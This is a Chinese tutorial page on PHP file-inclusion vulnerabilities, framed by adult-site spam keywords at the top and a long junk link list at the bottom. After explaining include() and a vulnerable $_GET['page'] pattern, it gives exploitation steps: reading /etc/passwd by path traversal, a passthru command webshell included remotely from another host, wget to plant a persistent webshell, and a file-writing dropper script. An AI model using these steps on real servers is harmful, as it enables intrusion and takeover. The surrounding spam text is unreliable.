精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

PHP文件包含漏洞原理分析和利用方法

安全 應用安全
一、涉及到的危險函數〔include(),require()和include_once(),require_once()〕include()&&require()語句:包括并運行指定文件。這兩種結構除了在如何處理失敗之外完全一樣。include()產生一個警告而require()則導致一個致命錯誤。換句話說,如果你想在遇到丟失文件時停止處理頁面就用require()。include()就不是這樣。

本文章簡單摘要:一、涉及到的危險函數〔include(),require()和include_once(),require_once()〕include()&&require()語句:包括并運行指定文件。這兩種結構除了在如何處理失敗之外完全一樣。include()產生一個警告而require()則導致一個致命錯誤。換句話說,如果你想在遇到丟失文件時停止處理頁面就用require()。include()就不是這樣。

一、涉及到的危險函數〔include(),require()和include_once(),require_once()〕

include() && require()語句:包括并運行指定文件。

這兩種結構除了在如何處理失敗之外完全一樣。include() 產生一個警告而 require() 則導致一個致命錯誤。換句話說,如果你想在遇到丟失文件時停止處理頁面就用 require()。include() 就不是這樣,腳本會繼續運行。

如果"allow_url_fopen"在 PHP 中被激活(默認配置),也可以用 URL(通過 HTTP 或者其它支持的封裝協議)而不是本地文件來指定要被包括的文件。如果目標服務器將目標文件作為 PHP 代碼解釋,則可以用適用于 HTTP GET 的 URL 請求字符串來向被包括的文件傳遞變量。
詳細參考:http://www.phpe.net/manual/function.include.php

require_once() && include_once()
require_once()和include_once() 語句在腳本執行期間包括并運行指定文件。此行為和 require() 語句類似,唯一區別是如果該文件中的代碼已經被包括了,則不會再次包括。適用于在腳本執行期間同一個文件有可能被包括超過一次的情況下,你想確保它只被包括一次以避免函數重定義,變量重新賦值等問題。

詳細參考:http://www.phpe.net/manual/function.require-once.php

二、為什么要包含文件

程序員寫程序的時候,不喜歡干同樣的事情,也不喜歡把同樣的代碼(比如一些公用的函數)寫幾次,于是就把需要公用的代碼寫在一個單獨的文件里面,比如 share.php,而后在其它文件進行包含調用。在php里,我們就是使用上面列舉的那幾個函數來達到這個目的的,它的工作流程:如果你想在 main.php里包含share.php,我將這樣寫include("share.php")就達到目的,然后就可以使用share.php中的函數了,像這個寫死需要包含的文件名稱的自然沒有什么問題,也不會出現漏洞,那么問題到底是出在哪里呢?

有的時候可能不能確定需要包含哪個文件,比如先來看下面這個文件index.php的代碼:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

       if ($_GET[page]) {
       include $_GET[page];
       } else {
       include "home.php";
       }

很正常的一段PHP代碼,它是怎么運作的呢?這里面涉及到$_GET的意義,我就不打算講了(要不又能寫篇HTTP的文章了),如果你還不了解GET,POST,等,那么你需要再Google一些相關的資料好好補一補了。

上面這段代碼的使用格式可能是這樣的:http://www.520jsj.com/php/index.php?page=main.php或者http: //www.520jsj.com/php/index.php?page=downloads.php,結合上面代碼,簡單說下怎么運作的:

1.提交上面這個URL,在index.php中就取得這個page的值($_GET[page])。
2.判斷$_GET[page]是不是空,若不空(這里是main.php)就用include來包含這個文件。
3.若$_GET[page]空的話就執行else,來include home.php 這個文件。

三、為什么會產生漏洞

你也許要說,這樣很好呀,可以按照URL來動態包含文件,多么方便呀,怎么產生漏洞的呢?問題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們不會按照他的鏈接來操作,我們可能想自己寫想包含(調用)的文件,比如我們會隨便的打入下面這個URL:http: //www.1steam.cn/php/index.php?page=hello.php。然后我們的index.php程序就傻傻按照上面我們說得步驟去執行:取page為hello.php,然后去include(hello.php),這時問題出現了,因為我們并沒有hello.php這個文件,所以它 include的時候就會報警告,類似下列信息:

Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/wwwroot/php/index.php on line 3

注意上面的那個Warning就是找不到我們指定的hello.php文件,也就是包含不到我們指定路徑的文件;而后面的警告是因為前面沒有找到指定文件,所以包含的時候就出警告了。

四、怎么利用

上面可以看到,問題出現了,那么我們怎么利用這樣的漏洞呢,利用方法其實很多,但是實質上都是差不多的,我這里說三個比較常見的利用方法:

1.包含讀出目標機上其它文件

由前面我們可以看到,由于對取得的參數page沒有過濾,于是我們可以任意指定目標主機上的其它敏感文件,例如在前面的警告中,我們可以看到暴露的絕對路徑(vhost/wwwroot/php/),那么我們就可以多次探測來包含其它文件,比如指定URL為:http://www.520jsj.com/php/index.php?page=./txt.txt可以讀出當前路徑下的txt.txt文件,也可以使用../../進行目錄跳轉(在沒過濾../的情況下);也可以直接指定絕對路徑,讀取敏感的系統文件,比如這個URL:http://www.520jsj.com/php/index.php?page=/etc/passwd,如果目標主機沒有對權限限制的很嚴格,或者啟動Apache的權限比較高,是可以讀出這個文件內容的。否則就會得到一個類似于:open_basedir restriction in effect.的Warning。

2.包含可運行的PHP木馬

如果目標主機的"allow_url_fopen"是激活的(默認是激活的,沒幾個人會修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個包含PHP代碼的webshell來直接運行,比如,我先寫一段運行命令的PHP代碼(加了注釋,應該看得懂),如下保存為cmd.txt(后綴不重要,只要內容為PHP格式就可以了)。

if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉轉義字符(可去掉字符串中的反斜線字符)
ini_set("max_execution_time",0); //設定針對這個文件的執行時間,0為不限制.
echo "
1.S.T
";      

本文章簡單摘要://打印的返回的開始行提示信息passthru($_REQUEST["cmd"]);   //運行cmd指定的命令echo"1.S.T";      //打印的返回的結束行提示信息?>以上這個文件的作用就是接受cmd指定的命令,并調用passthru函數執行,把內容返回在1.S.T之間。把這個文件保存到我們主機的服務器上(可以是不支持PHP的主機),只要能通過HTTP訪問到就可以了。

//打印的返回的開始行提示信息
passthru($_REQUEST["cmd"]);   //運行cmd指定的命令
echo "
1.S.T
";      //打印的返回的結束行提示信息
?>

以上這個文件的作用就是接受cmd指定的命令,并調用passthru函數執行,把內容返回在1.S.T之間。把這個文件保存到我們主機的服務器上(可以是不支持PHP的主機),只要能通過HTTP訪問到就可以了,例如地址如下:http://www.520jsj.com/cmd.txt,然后我們就可以在那個漏洞主機上構造如下URL來利用了:http://www.520jsj.com/php/index.php?page=http://www.1ster.cn/cmd.txt?cmd=ls,其中cmd后面的就是你需要執行的命令,其它常用的命令(以*UNIX為例)如下:


Quote:
ll 列目錄、文件(相當于Windows下dir)
pwd 查看當前絕對路徑
id whoami 查看當前用戶
wget 下載指定URL的文件

等等其它的,你主機去BAIDU找吧,就不列舉了。
上面的方法就是得到一個Webshell了(雖然這個PHP文件不在目標機上,但是它確實是個Webshell,不是么?呵呵)

3.包含一個創建文件的PHP文件


也許有的人認為還是得到目標機上的一個真實的Webshell比較放心,萬一哪天人家發現這兒個包含漏洞修補了,我們就不能再遠程包含得到上面的那個"偽"Webshell了,不是么?可以理解這個心態,我們繼續。得到一個真實的Webshell,我們也說兩種常見的方法:

1)使用wget之類的命令來下載一個Webshell

這個比較簡單,也很常用,在上面我們得到的那個偽webshell中,我們可以執行命令,那么我們也可以調用系統中的一個很厲害的角色,wget,這個命令的強大你可以google下,參數一大堆,絕對搞暈你,呵呵,我們不需要那么復雜,我們就使用一個-O(--output-document=FILE,把文檔寫到FILE文件中) 就可以了,呵呵。

前提是你在按照前面的步驟放一個包含PHP代碼的Webshell在一個可以通過HTTP或者FTP等可以訪問的地方,比如:http://www.520jsj.com/1stphp.txt,這個文件里寫的就是Webshell的內容。然后我們在前面得到的偽Webshell中執行如下的URL:http://www.520jsj.com/php/index.php?page=http://www.520jsj.com/cmd.txt?cmd=wget http://www.1ster.cn/1stphp.txt -O 1stphp.php,如果當前目錄可寫,就能得到一個叫做1stphp.php的Webshell了;如果當前目錄不可寫,還需要想其它的辦法。

2)使用文件來創建

前面的wget可能會遇到當前目錄不能寫的情況;或者目標主機禁用了(或者沒裝)這個命令,我們又需要變通一下了,我們可以結合前面的包含文件漏洞來包含一個創建文件(寫文件)的PHP腳本,內容如下:

$f=file_get_contents("$ff=fopen("./upload/1st.php","a");     //尋找一個可以的目錄,創建一個文件
fwrite ($ff,$f);  //把前面打開的文件流寫到創建的文件里
fclose($ff);    //關閉保存文件
?>

還是寫入我們上面用wget下載的那個php文件,但是我們改進了方法,用PHP腳本來實現,可以使用上面的cmd.php?cmd=ll查找可以寫的目錄,比如這里的upload,然后把文件創建在這個目錄下:./upload/1st.php。然后就得到我們的Webshell了。

責任編輯:王文文 來源: www.arpun.com
相關推薦

2009-08-15 10:19:01

漏洞利用php expEXP程序

2009-12-09 09:49:40

2019-02-26 15:15:16

DNS漏洞IP

2019-04-02 08:30:03

2011-04-13 17:28:21

2021-11-08 07:26:36

Vailyn漏洞安全工具

2009-11-16 10:16:24

PHP文件上傳

2020-10-28 14:58:21

漏洞uTorrent協議層

2017-07-17 13:30:31

2013-03-22 10:00:14

2012-04-12 16:05:50

2025-03-20 10:29:08

2016-09-29 14:37:39

ImageMagick漏洞分析

2020-10-14 09:44:52

漏洞

2010-08-03 11:08:57

2009-11-16 14:15:51

PHP上傳多個文件

2017-08-22 13:45:27

2014-11-27 09:31:26

2013-07-03 11:28:47

2014-11-19 11:05:45

點贊
收藏

51CTO技術棧公眾號

亚洲成人原创| 欧美片第一页| 日韩av成人高清| 国产亚洲人成a一在线v站| 成人性生生活性生交12| 污视频网站在线播放| av成人黄色| 在线观看欧美日韩| 精品国产免费久久久久久婷婷| 国产乱码精品一区二三赶尸艳谈| 国产亚洲精品精华液| 97久久国产精品| 一级黄色电影片| 久久电影tv| 久久综合色综合88| 成人天堂噜噜噜| 国产无人区码熟妇毛片多| 日韩电影二区| 欧美人体做爰大胆视频| 中文字幕无码精品亚洲资源网久久| 日韩有码电影| 国产精品一区三区| 国产精品久久av| 日韩一级片在线免费观看| 香蕉成人av| 欧美极品少妇xxxxⅹ高跟鞋 | 影音先锋男人看片资源| 国产精品zjzjzj在线观看| 一区二区三区产品免费精品久久75| 成人免费看黄网站| 好吊妞视频一区二区三区| 日韩大胆成人| 在线观看日产精品| 国产freexxxx性播放麻豆| 色呦呦中文字幕| 国产美女视频91| 国产美女精品视频免费观看| 精品国产xxx| 第一会所sis001亚洲| 欧美精品日韩精品| 一区二区三区视频在线观看免费| 色多多视频在线观看| 国内精品伊人久久久久av一坑| 欧洲日本亚洲国产区| 国产无码精品一区二区| 伊人成综合网| 亚洲第一区中文字幕| 热久久久久久久久| 超碰在线视屏| 亚洲电影一级黄| 日本aa在线观看| 午夜免费播放观看在线视频| 国产成人精品一区二| 国产精品久久久久9999| 欧洲第一无人区观看| 精品自拍偷拍| 欧美日韩一区在线| 国产一区二区在线免费播放| 日本乱理伦在线| 亚洲精品久久7777| 欧美在线激情| 午夜精品久久久久久久99老熟妇| 国产一区二区调教| 国产mv久久久| 欧美国产一级片| 黑丝一区二区| 最近2019中文字幕一页二页| 91狠狠综合久久久久久| 久久精品国产亚洲5555| 欧美日韩国产一二三| 日本黄大片一区二区三区| av3级在线| 黄色一区二区三区| 日韩 欧美 高清| 电影亚洲精品噜噜在线观看 | 在线观看视频二区| 久久狠狠亚洲综合| 91网站在线看| 中文字幕一二三四| 国产一区二区三区蝌蚪| 国产传媒一区二区| 欧美91精品久久久久国产性生爱| 国产视频一区二区三区在线观看| 亚洲精品久久区二区三区蜜桃臀| 日产精品久久久久久久性色| 国产精品1区2区3区| 国产精品区二区三区日本| 国产又粗又黄视频| 日韩电影在线一区| 欧洲成人午夜免费大片| 中文字幕日本人妻久久久免费| 激情伊人五月天久久综合| 成人综合av网| 亚洲国产精品久久人人爱潘金莲| av在线不卡观看免费观看| 91黄在线观看| 日本视频在线观看一区二区三区| 成人h精品动漫一区二区三区| 久久精品日产第一区二区三区精品版 | 国产免费高清一区| 青青草免费观看免费视频在线| 国产91露脸合集magnet| 久久一区二区精品| 天堂成人在线视频| 国产精品理论片| 人妻av中文系列| 岛国av在线网站| 欧美日本一区二区在线观看| 美女少妇一区二区| 久久99国产精品二区高清软件| 欧美不卡一区二区三区四区| 我想看黄色大片| 成人看的羞羞网站| 韩国福利视频一区| 国产一区二区三区四区视频| 久久97超碰色| 久久亚洲免费| 成人av影院在线观看| 欧美日韩一区二区三区视频| 老熟妇精品一区二区三区| 久久久久国产精品| 国产精彩精品视频| 一区二区视频网| 激情六月婷婷久久| 欧美亚洲国产免费| 欧美被日视频| 亚洲午夜精品网| 色网站在线视频| 成人在线亚洲| 欧美成aaa人片免费看| 国产一级淫片a视频免费观看| 国产91精品一区二区麻豆网站 | 51调教丨国产调教视频| 欧美96在线丨欧| 国产美女久久久| 国产区高清在线| 欧美日韩国产页| jjzz黄色片| 伊人久久大香线| 91精品视频免费看| 欧美一区二区三区成人片在线| 中文字幕一区免费在线观看| 屁屁影院ccyy国产第一页| 欧美视频精品| 日韩中文字幕国产精品| 久久久久亚洲av无码专区 | 精品久久久久久久久国产字幕| 能在线观看的av| 久久不卡日韩美女| 精品国产一区二区三区久久影院| 青青草视频播放| 亚洲美女一区| 成人在线观看视频网站| 1024视频在线| 粉嫩老牛aⅴ一区二区三区| 无码国产精品一区二区免费式直播 | 狠狠色综合播放一区二区| 视频一区视频二区视频三区高| 三上悠亚激情av一区二区三区| 欧美丰满少妇xxxxx高潮对白| 香蕉视频污视频| 久久人体视频| 欧美一级黑人aaaaaaa做受| 日韩有码第一页| 欧美日韩国产在线播放| 国产中文字幕一区二区| 久久久777| 日韩激情久久| 日本一区二区三区中文字幕| 久久亚洲电影天堂| 亚洲第一页在线观看| 亚洲一区二区三区四区中文字幕| 人妻少妇精品久久| 亚洲精华一区二区三区| 日韩暖暖在线视频| 丰满大乳国产精品| 精品久久久久久久久久久久久久| 91香蕉视频免费看| 国自产拍偷拍福利精品免费一| 极品尤物一区二区三区| av一区在线| 日韩禁在线播放| 亚洲免费视频二区| 亚洲欧洲综合另类在线| 色婷婷免费视频| 欧美一区综合| 精品一区二区不卡| 不卡一本毛片| 欧美xxxx老人做受| 亚洲综合网在线| 99国产精品国产精品毛片| 蜜臀av免费观看| 午夜日韩视频| 日本一区免费观看| 国产精品论坛| 亚洲第一av在线| 国产一级片播放| 国产.欧美.日韩| 久久精品视频91| 美女毛片一区二区三区四区| 成人精品视频99在线观看免费| sm捆绑调教国产免费网站在线观看| 亚洲欧美中文字幕| 国产a级免费视频| 亚洲乱码国产乱码精品精98午夜 | 国产免费叼嘿网站免费| 亚洲精品免费看| 少妇愉情理伦片bd| 亚洲不卡av不卡一区二区| 成人动漫网站在线观看| 日本在线免费播放| 日韩电影网在线| 国产精品-色哟哟| 亚洲最大的成人av| 中国免费黄色片| 激情国产一区二区 | 美女91在线看| 久久精品国产成人| 美州a亚洲一视本频v色道| 日韩免费看网站| 一区二区的视频| 色综合咪咪久久| 国产午夜小视频| 亚洲精品国产精华液| 亚洲一二三四五六区| 精品亚洲免费视频| 国产精彩免费视频| 宅男噜噜噜66国产日韩在线观看| 欧美午夜精品久久久久免费视| swag国产精品一区二区| 国产在线拍偷自揄拍精品| 成人看片在线观看| 欧美成aaa人片免费看| 91最新在线| 日韩欧美亚洲国产另类| 97免费在线观看视频| 一区二区三区在线观看国产 | 免费在线黄色网址| 欧美性色aⅴ视频一区日韩精品| 国产免费久久久久| 国产精品乱码一区二区三区软件| 国产无套精品一区二区三区| 精品中文字幕一区二区| 狠狠躁狠狠躁视频专区| 日韩电影免费在线观看网站| 无码人妻h动漫| 久久综合九色| 国产xxxxx视频| 奇米色一区二区| 中文字幕国产传媒| 美洲天堂一区二卡三卡四卡视频| 激情婷婷综合网| 奇米777欧美一区二区| 免费看污污网站| 久久精品免费看| jizzzz日本| 国产一区二区精品久久99| 四虎成人在线播放| 久久精品午夜| 国产91在线亚洲| 亚洲一级二级| 老太脱裤子让老头玩xxxxx| 午夜在线精品偷拍| 成人精品视频一区二区| 日本欧美韩国一区三区| 国产97在线 | 亚洲| 国产亚洲一级| 国产免费人做人爱午夜视频| 日韩在线观看一区二区| 国产免费黄色小视频| 午夜一区不卡| 奇米影视四色在线| 国产成人精品免费视频网站| 天天干天天综合| 国内精品国产成人| 成年人看片网站| 91在线小视频| 99久久99久久精品免费看小说.| bt欧美亚洲午夜电影天堂| 国产精品探花一区二区在线观看| 国产电影一区二区三区| 怡红院亚洲色图| 欧美a级理论片| 一级日本黄色片| 99久久精品国产毛片| 在线xxxxx| 久久久国产精华| 婷婷在线精品视频| 精品欧美国产一区二区三区| 成人一级免费视频| 色偷偷成人一区二区三区91| 一道本无吗一区| 欧美偷拍一区二区| 99在线观看免费| 亚洲精品一区二区网址| 免费在线看黄色| 97在线视频国产| 一二三四视频在线中文| 国产综合久久久久久| 国产精品毛片久久久| 亚洲精品在线视频观看| 在线观看一区视频| 91高清国产视频| 91在线播放网址| 极品魔鬼身材女神啪啪精品| 色婷婷av一区二区三区软件| 精品国精品国产自在久不卡| 国产一区二区三区毛片| 里番在线播放| 91精品国产自产在线老师啪| 日韩av字幕| 欧美三日本三级少妇三99| 精品久久久久中文字幕小说| 青青草国产免费| 国产一区二区三区的电影| 99精品视频在线看| 日本欧美久久久久免费播放网| 在线免费看黄色片| 亚洲欧美激情一区二区| 最新中文字幕在线观看视频| 欧美日韩国产欧美日美国产精品| 一本一道人人妻人人妻αv| 日韩国产欧美精品在线| 丝袜在线视频| 57pao成人国产永久免费| 视频一区中文字幕精品| 艳色歌舞团一区二区三区| 亚洲欧美视频| 右手影院亚洲欧美| 亚洲国产aⅴ天堂久久| 亚洲精品中文字幕乱码三区91| 日韩欧美中文字幕精品| 亚洲av成人精品日韩在线播放| 欧美成人免费大片| 自拍偷拍亚洲| 韩国成人一区| 欧美日韩一二三四| 久久国产乱子伦免费精品| 97久久人人超碰| 日本特黄特色aaa大片免费| 欧洲av在线精品| 亚洲乱码国产乱码精品精软件| 久久亚洲影音av资源网| 精品久久福利| 亚洲自拍三区| 国产一区二区三区观看| 蜜桃精品一区二区| 亚洲少妇中出一区| 六月丁香激情综合| 国产网站欧美日韩免费精品在线观看| av在线播放av| 国产色婷婷国产综合在线理论片a| 成人免费直播在线| 日韩极品视频在线观看| 成人深夜福利app| 久久久久久激情| 亚洲第一区中文99精品| 超碰在线免费公开| 91久久精品一区二区别| 红桃视频欧美| 天天看片天天操| 亚洲精品国产a| 涩涩视频免费看| 日韩美女视频在线观看| 欧美综合久久| 国产在线观看福利| 国产不卡在线播放| 日本天堂网在线观看| 欧美一区二区三区在线看| 天堂av最新在线| 91久久在线视频| 欧美午夜精品一区二区三区电影| 日本十八禁视频无遮挡| 国产精品自产自拍| 欧美视频一区二区在线| 色狠狠一区二区| 日韩a在线观看| 午夜精品99久久免费| 伊人成综合网伊人222| 天堂…中文在线最新版在线| 91麻豆国产香蕉久久精品| 免费看av在线| 欧美久久精品午夜青青大伊人| 国产成人一二片| 日韩欧美猛交xxxxx无码| 99久久国产综合精品麻豆| 国产一级视频在线观看| 亚洲欧美日韩天堂一区二区| 亚洲影视资源| 中文字幕一区二区三区精彩视频| 国产ts人妖一区二区| 久久久久亚洲AV| 精品国产乱子伦一区| 亚洲日本网址| 午夜精品福利一区二区| 久久高清国产| wwwav国产| 亚洲欧美在线一区二区| 国产色99精品9i| 日韩在线视频在线|